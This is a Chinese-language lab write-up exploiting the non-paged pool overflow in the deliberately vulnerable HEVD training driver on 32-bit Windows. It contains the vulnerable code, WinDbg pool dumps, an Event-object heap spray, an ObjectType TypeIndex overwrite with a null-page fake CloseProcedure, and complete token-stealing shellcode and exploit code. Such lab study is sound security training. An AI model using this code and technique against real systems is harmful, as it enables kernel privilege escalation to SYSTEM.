hevd windows内核漏洞练习-BUFFER_OVERFLOW_NON_PAGED_POOL
1.漏洞分析
非分页内存池溢出漏洞.
这里申请了长度为0x1f8长度的非分页内存池.然后将ring3传入的数据和size作为memcpy参数.
漏洞原因是未对size进行限制,memcpy存在溢出风险.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int __stdcall TriggerBufferOverflowNonPagedPool(void *UserBuffer, unsigned int Size) { PVOID PoolWithTag;
_DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n"); PoolWithTag = ExAllocatePoolWithTag(NonPagedPool, 0x1F8u, 'kcaH'); if ( PoolWithTag ) { _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 0x1F8); _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag); ProbeForRead(UserBuffer, 0x1F8u, 1u); _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer); _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size); _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", PoolWithTag); _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x1F8); _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPool\n"); memcpy(PoolWithTag, UserBuffer, Size); _DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'"); _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", PoolWithTag); ExFreePoolWithTag(PoolWithTag, 0x6B636148u); return 0; } else { _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n"); return 0xC0000017; } }
|
2.漏洞利用
首先编写一个测试程序
1 2 3 4 5 6 7 8 9
| VOID BUFFER_OVERFLOW_NON_PAGED_POOL_test(HANDLE dev) { DWORD dwRet = 0; CHAR buf[0x1f8]; int bufLen = 0x1f8; memset(buf, 0x41, 0x1f8); DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL, buf, bufLen, NULL, 0, &dwRet, NULL); CloseHandle(dev); }
|
申请了0x1f8长度的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| kd> g [+] Allocating Pool chunk [+] Pool Tag: 'kcaH' [+] Pool Type: NonPagedPool [+] Pool Size: 0x1F8 [+] Pool Chunk: 0x885EEB08 [+] UserBuffer: 0x002DF8CC [+] UserBuffer Size: 0x1F8 [+] KernelBuffer: 0x885EEB08 [+] KernelBuffer Size: 0x1F8 [+] Triggering Buffer Overflow in NonPagedPool Breakpoint 1 hit HEVD!TriggerBufferOverflowNonPagedPool+0xf7: 92fa2dc5 e812c4fbff call HEVD!memcpy (92f5f1dc) kd> p HEVD!TriggerBufferOverflowNonPagedPool+0xfc: 92fa2dca 688655fa92 push offset HEVD! ?? ::NNGAKEGL::`string' (92fa5586)
|
使用!pool命令查看当前内存池,这里要用旧版windbg,新版的有问题.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| kd> !pool 0x885EEB08 Pool page 885eeb08 region is Nonpaged pool 885ee000 size: b8 previous size: 0 (Allocated) File (Protected) 885ee0b8 size: 28 previous size: b8 (Allocated) VadS 885ee0e0 size: 8 previous size: 28 (Free) Vad 885ee0e8 size: 40 previous size: 8 (Allocated) Even (Protected) 885ee128 size: 30 previous size: 40 (Allocated) Io 885ee158 size: 90 previous size: 30 (Allocated) Ntfx 885ee1e8 size: 68 previous size: 90 (Allocated) FMsl 885ee250 size: 28 previous size: 68 (Allocated) VadS 885ee278 size: 40 previous size: 28 (Allocated) Even (Protected) 885ee2b8 size: 28 previous size: 40 (Allocated) VadS 885ee2e0 size: 8 previous size: 28 (Free) smMd 885ee2e8 size: 50 previous size: 8 (Allocated) Muta (Protected) 885ee338 size: 18 previous size: 50 (Allocated) MmSi 885ee350 size: 60 previous size: 18 (Allocated) Muta (Protected) 885ee3b0 size: 28 previous size: 60 (Allocated) VadS 885ee3d8 size: 8 previous size: 28 (Free) smMd 885ee3e0 size: 30 previous size: 8 (Allocated) FOCX 885ee410 size: 180 previous size: 30 (Allocated) EtwG 885ee590 size: 10 previous size: 180 (Free) Wait 885ee5a0 size: 30 previous size: 10 (Allocated) Io 885ee5d0 size: 90 previous size: 30 (Allocated) Ntfx 885ee660 size: 78 previous size: 90 (Allocated) EtwR (Protected) 885ee6d8 size: 20 previous size: 78 (Free) WmiG 885ee6f8 size: c8 previous size: 20 (Allocated) Ntfx 885ee7c0 size: 40 previous size: c8 (Allocated) Even (Protected) 885ee800 size: e8 previous size: 40 (Allocated) WmiG (Protected) 885ee8e8 size: 40 previous size: e8 (Allocated) Even (Protected) 885ee928 size: 8 previous size: 40 (Free) WmiG 885ee930 size: 28 previous size: 8 (Allocated) VadS 885ee958 size: b8 previous size: 28 (Allocated) File (Protected) 885eea10 size: c8 previous size: b8 (Allocated) Ntfx 885eead8 size: 28 previous size: c8 (Free) Io *885eeb00 size: 200 previous size: 28 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) 885eed00 size: 68 previous size: 200 (Allocated) Mdl 885eed68 size: c8 previous size: 68 (Allocated) MiSc 885eee30 size: 30 previous size: c8 (Allocated) FOCX 885eee60 size: 70 previous size: 30 (Allocated) FMfc 885eeed0 size: 10 previous size: 70 (Free) SeIf 885eeee0 size: 68 previous size: 10 (Allocated) FMsl 885eef48 size: b8 previous size: 68 (Allocated) File (Protected)
|
可以看到在数据之前还有8个字节的池头信息.
如果我们的数据超过了0x1f8长度,是会覆盖掉下个池的池头信息的,漏洞的利用也是通过覆盖池的信息实现的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| kd> dd 885eeb00 885eeb00 04400005 6b636148 41414141 41414141 885eeb10 41414141 41414141 41414141 41414141 885eeb20 41414141 41414141 41414141 41414141 885eeb30 41414141 41414141 41414141 41414141 885eeb40 41414141 41414141 41414141 41414141 885eeb50 41414141 41414141 41414141 41414141 885eeb60 41414141 41414141 41414141 41414141 885eeb70 41414141 41414141 41414141 41414141
kd> dd 885eed00-4 885eecfc 41414141 040d0040 206c644d 00000000 885eed0c 000c0020 00000000 88592e10 88592000 885eed1c 00000084 00000e10 0003dd92 0003da06 885eed2c 0003da07 0003da08 0003da09 000193ca 885eed3c 00000000 885eed40 885eed40 00040000 885eed4c 00000000 1818000b 20206f49 885eee98 885eed5c 00000000 00000000 00000000 0419000d 885eed6c 6353694d 8e9818d8 8e9818d8 92800000
|
下面要做的工作就是控制内核中内存池的分配和释放,让tag:hack内存分配时可以分配到我们释放的内存,并且周围内存池也是可控的.
分配的内存的大小为0x1f8,加上池头信息刚好为0x200.
我们的申请的是非分页内存池,而windows中Event对象也是通过非分页内存池存储,event事件对象大小为0x40.
如果连续申请8个刚好为0x200.
所以通过event对象制造内存空洞,代码如下:
1 2 3 4 5 6 7 8 9 10 11
| VOID Spray_NonPagePool() { for (int i = 0; i < 0x2000; i++) { spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL); }
for (int i = 0; i < 0x2000; i += 9) { for (int j = 0; j < 8; j++) { CloseHandle(spray_event[i + j]); } } }
|
可以看到hack内存成功的分配到了event对象之间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| kd> g [+] Allocating Pool chunk [+] Pool Tag: 'kcaH' [+] Pool Type: NonPagedPool [+] Pool Size: 0x1F8 [+] Pool Chunk: 0x86649848 [+] UserBuffer: 0x001CF894 [+] UserBuffer Size: 0x1F8 [+] KernelBuffer: 0x86649848 [+] KernelBuffer Size: 0x1F8 [+] Triggering Buffer Overflow in NonPagedPool Breakpoint 1 hit HEVD!TriggerBufferOverflowNonPagedPool+0xf7: 92fa2dc5 e812c4fbff call HEVD!memcpy (92f5f1dc) kd> !pool 0x86649848 Pool page 86649848 region is Nonpaged pool 86649000 size: 2f8 previous size: 0 (Allocated) usbp 866492f8 size: 88 previous size: 2f8 (Free) .... 86649380 size: 40 previous size: 88 (Allocated) Even (Protected) 866493c0 size: 200 previous size: 40 (Free) Even 866495c0 size: 40 previous size: 200 (Allocated) Even (Protected) 86649600 size: 200 previous size: 40 (Free) Even 86649800 size: 40 previous size: 200 (Allocated) Even (Protected) *86649840 size: 200 previous size: 40 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) 86649a40 size: 40 previous size: 200 (Allocated) Even (Protected) 86649a80 size: 200 previous size: 40 (Free) Even 86649c80 size: 40 previous size: 200 (Allocated) Even (Protected) 86649cc0 size: 200 previous size: 40 (Free) Even 86649ec0 size: 40 previous size: 200 (Allocated) Even (Protected) 86649f00 size: 100 previous size: 40 (Free) Even
|
关于内核对象的结构

看下hack池下块,event池对象的OBJECT_HEADER结构,event对象的typeIndex值为0xc,需要覆盖掉的就是这个值,为什么要覆盖掉它呢.
1 2 3 4 5 6 7 8 9
| kd> dd 86649a40 86649a40 04080040 ee657645 00000000 00000040 86649a50 00000000 00000000 00000001 00000001 86649a60 00000000 0008000c 881054c0 00000000 86649a70 00040001 00000000 86649a78 86649a78 86649a80 00400008 ee657645 86648a48 86649cc8 86649a90 00000000 00000000 00000000 00000000 86649aa0 00000000 00080001 00000000 00000000 86649ab0 00040001 00000000 86649ab8 86649ab8
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| kd> dt _OBJECT_HEADER 86649a40+18 nt!_OBJECT_HEADER +0x000 PointerCount : 0n1 +0x004 HandleCount : 0n1 +0x004 NextToFree : 0x00000001 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0xc '' +0x00d TraceFlags : 0 '' +0x00e InfoMask : 0x8 '' +0x00f Flags : 0 '' +0x010 ObjectCreateInfo : 0x881054c0 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x881054c0 Void +0x014 SecurityDescriptor : (null) +0x018 Body : _QUAD
|
TypeIndex是个ObTypeIndexTable中的索引,event对象索引为c,对应的值是86409b50,在这个结构中,偏移为0x60的位置,有一个CloseProcedure的回调函数,会在被释放时调用.
ObTypeIndexTable里面索引为0处值是0,如果可以操纵0地址伪造一个_OBJECT_TYPE结构,将CloseProcedure的地址修改为我们的shellcode地址,然后将下个event对象头中typeIndex覆盖为0,其他值保持不变,就可以在对象释放时调用我们的shellcode.
1 2 3 4 5 6 7 8 9
| kd> dd ObTypeIndexTable 83f97760 00000000 bad0b0b0 863437c8 86343700 83f97770 86343638 863ee040 863eef40 863eee78 83f97780 863eedb0 863eece8 863eec20 863ee548 83f97790 86409b50 86402418 86402350 86403418 83f977a0 86403350 86404418 86404350 8640d758 83f977b0 8640d690 8640dda0 8640dcd8 8640d388 83f977c0 8640d2c0 86411930 86411868 86406f78 83f977d0 86406eb0 86406950 86406888 864067c0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| kd> dt _OBJECT_TYPE 86409b50 nt!_OBJECT_TYPE +0x000 TypeList : _LIST_ENTRY [ 0x86409b50 - 0x86409b50 ] +0x008 Name : _UNICODE_STRING "Event" +0x010 DefaultObject : (null) +0x014 Index : 0xc '' +0x018 TotalNumberOfObjects : 0x1276 +0x01c TotalNumberOfHandles : 0x12e2 +0x020 HighWaterNumberOfObjects : 0x2eea +0x024 HighWaterNumberOfHandles : 0x2f56 +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x078 TypeLock : _EX_PUSH_LOCK +0x07c Key : 0x6e657645 +0x080 CallbackList : _LIST_ENTRY [ 0x86409bd0 - 0x86409bd0 ] kd> dx -id 0,0,884c2630 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x86409b78)) (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0x86409b78)) [Type: _OBJECT_TYPE_INITIALIZER] [+0x000] Length : 0x50 [Type: unsigned short] [+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char] [+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char] [+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char] [+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char] [+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char] [+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char] [+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char] [+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char] [+0x002 ( 7: 7)] CacheAligned : 0x0 [Type: unsigned char] [+0x004] ObjectTypeCode : 0x2 [Type: unsigned long] [+0x008] InvalidAttributes : 0x100 [Type: unsigned long] [+0x00c] GenericMapping [Type: _GENERIC_MAPPING] [+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long] [+0x020] RetainAccess : 0x0 [Type: unsigned long] [+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE] [+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long] [+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long] [+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)] [+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)] [+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)] [+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)] [+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)] [+0x044] SecurityProcedure : 0x840bad90 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)] [+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)] [+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
|
下面开始编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| VOID shellcode2() { __asm { pop edi pop esi pop ebx pushad xor eax, eax mov eax, fs: [124h] mov eax, [eax + 050h] mov ecx, eax mov edx, 4
find_sys_pid : mov eax, [eax + 0b8h] sub eax, 0b8h cmp[eax + 0b4h], edx jnz find_sys_pid
mov edx, [eax + 0f8h] mov[ecx + 0f8h], edx popad xor eax, eax ret } }
VOID BUFFER_OVERFLOW_NON_PAGED_POOL(HANDLE dev) { DWORD dwRet = 0; CHAR buf[0x220]; int bufLen = 0x1f8 + 0x28; *(DWORD*)(buf + 0x1f8 + 0x0) = 0x04080040; *(DWORD*)(buf + 0x1f8 + 0x4) = 0xee657645; *(DWORD*)(buf + 0x1f8 + 0x8) = 0x00000000; *(DWORD*)(buf + 0x1f8 + 0xc) = 0x00000040; *(DWORD*)(buf + 0x1f8 + 0x10) = 0x00000000; *(DWORD*)(buf + 0x1f8 + 0x14) = 0x00000000; *(DWORD*)(buf + 0x1f8 + 0x18) = 0x00000001; *(DWORD*)(buf + 0x1f8 + 0x1c) = 0x00000001; *(DWORD*)(buf + 0x1f8 + 0x20) = 0x00000000; *(DWORD*)(buf + 0x1f8 + 0x24) = 0x00080000; Spray_NonPagePool(); FUN_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; HMODULE ntdll = (HMODULE)LoadLibrary(L"ntdll.dll"); NtAllocateVirtualMemory = (FUN_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
PVOID zeroAddr = (PVOID)1; DWORD regionSize = 0x1000; NTSTATUS status = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &zeroAddr, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!NT_SUCCESS(status)) { printf("allocate 0 addr fail:%x\n", status); return; } *(DWORD*)(0x60) = (DWORD)&shellcode2; DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL, buf, bufLen, NULL, 0, &dwRet, NULL); for (int i = 0; i < 0x2000; i++) { CloseHandle(spray_event[i]); } CloseHandle(dev); }
|
再次运行,0地址成功申请,0x60处为shellcode,并且下个event typeIndex成功被覆盖为0.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| HEVD!TriggerBufferOverflowNonPagedPool+0xf7: 92fa2dc5 e812c4fbff call HEVD!memcpy (92f5f1dc) kd> p HEVD!TriggerBufferOverflowNonPagedPool+0xfc: 92fa2dca 688655fa92 push offset HEVD! ?? ::NNGAKEGL::`string' (92fa5586) kd> dd 0 00000000 00000000 00000000 00000000 00000000 00000010 00000000 00000000 00000000 00000000 00000020 00000000 00000000 00000000 00000000 00000030 00000000 00000000 00000000 00000000 00000040 00000000 00000000 00000000 00000000 00000050 00000000 00000000 00000000 00000000 00000060 012a1040 00000000 00000000 00000000 00000070 00000000 00000000 00000000 00000000 kd> !pool 0x866B4488 Pool page 866b4488 region is Nonpaged pool 866b4000 size: 200 previous size: 0 (Free) Even 866b4200 size: 40 previous size: 200 (Allocated) Even (Protected) 866b4240 size: 200 previous size: 40 (Free) Even 866b4440 size: 40 previous size: 200 (Allocated) Even (Protected) *866b4480 size: 200 previous size: 40 (Allocated) *Hack Owning component : Unknown (update pooltag.txt) 866b4680 size: 40 previous size: 200 (Allocated) Even (Protected) 866b46c0 size: 200 previous size: 40 (Free) Even 866b48c0 size: 40 previous size: 200 (Allocated) Even (Protected) 866b4900 size: 200 previous size: 40 (Free) Even 866b4b00 size: 40 previous size: 200 (Allocated) Even (Protected) 866b4b40 size: 200 previous size: 40 (Free) Even 866b4d40 size: 40 previous size: 200 (Allocated) Even (Protected) 866b4d80 size: 200 previous size: 40 (Free) Even 866b4f80 size: 40 previous size: 200 (Allocated) Even (Protected) 866b4fc0 size: 40 previous size: 40 (Free) Even kd> dt _OBJECT_HEADER 866b4680+18 nt!_OBJECT_HEADER +0x000 PointerCount : 0n1 +0x004 HandleCount : 0n1 +0x004 NextToFree : 0x00000001 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0 '' +0x00d TraceFlags : 0 '' +0x00e InfoMask : 0x8 '' +0x00f Flags : 0 '' +0x010 ObjectCreateInfo : 0x881054c0 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x881054c0 Void +0x014 SecurityDescriptor : (null) +0x018 Body : _QUAD
|
提权成功
